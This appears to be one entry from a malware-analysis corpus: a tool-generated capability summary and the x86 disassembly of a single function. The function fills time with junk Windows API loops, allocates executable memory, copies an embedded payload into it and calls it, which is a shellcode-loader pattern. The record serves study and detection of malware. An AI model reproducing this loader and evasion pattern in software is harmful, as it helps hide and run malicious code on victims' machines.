Function at 0x4031f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x456758
push eax
mov dword fs:[0], esp
sub esp, 0x828
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403220
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x403234
inc esi
cmp esi, 0x73f04bd
jl 0x403220
cmp dword [0x460d84], 0x400
jne 0x4032ae
push ebx
lea eax, [ebp - 0x434]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
xor ecx, ecx
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], cx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004038e7
push ebx
push ebx
push ebx
call fcn.00403c31
add esp, 0x14
push ebx
call fcn.00403d2d
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403a50
fstp st(0)
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 8
jb 0x4032ae
mov edx, dword [ebp - 0x30]
push edx
call fcn.00403b9c
add esp, 4
cmp dword [0x460d84], 0x93
jne 0x4032f8
xor eax, eax
lock bts dword [eax], 0
push 0x4025cc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00403a80
push ebx
call fcn.00403a28
add esp, 0xc
push ebx
call fcn.00403a3e
add esp, 4
call fcn.004031e0
mov eax, dword [0x45beb4]
mov dword [0x461bc0], eax
mov eax, dword [0x460d84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x460d84], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x460814], eax
mov esi, 0x1692e
lea ebx, [ebx]
push ebx
call edi
sub esi, 1
jne 0x403330
cmp dword [0x460d84], ebx
jbe 0x4033b0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea esp, [esp]
mov ecx, dword [0x461bc0]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x460814]
mov byte [eax + esi], dl
cmp dword [0x460d84], 0x490
jne 0x4033a5
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
inc esi
cmp esi, dword [0x460d84]
jb 0x403350
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor esi, esi
mov ecx, dword [0x460d84]
add ecx, esi
cmp ecx, 0x8d
jne 0x4033f5
push 0
lea edx, [ebp - 0x834]
push edx
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x4033be
call fcn.00403140
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ebx, ebx
xor esi, esi
lea ecx, [ecx]
cmp esi, 0xfa62c8f
jge 0x40341a
call edi
cmp esi, 0x207142
jg 0x40342b
inc esi
cmp esi, 0x67d12
jl 0x403410
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x40344d
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x6f41
mov ecx, dword [ebp - 0x10]
add dword [0x460814], ecx
inc esi
cmp esi, 0x674bd
jl 0x403433
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 0x10], 0x7b
nop
cmp dword [0x460d84], 0x86
jne 0x4034a5
push 0
call esi
push 0
lea edx, [ebp - 0x834]
push edx
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x460d84], 0xf
jne 0x4034b8
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub dword [ebp - 0x10], 1
jne 0x403470
push 0x4025dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x460814]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret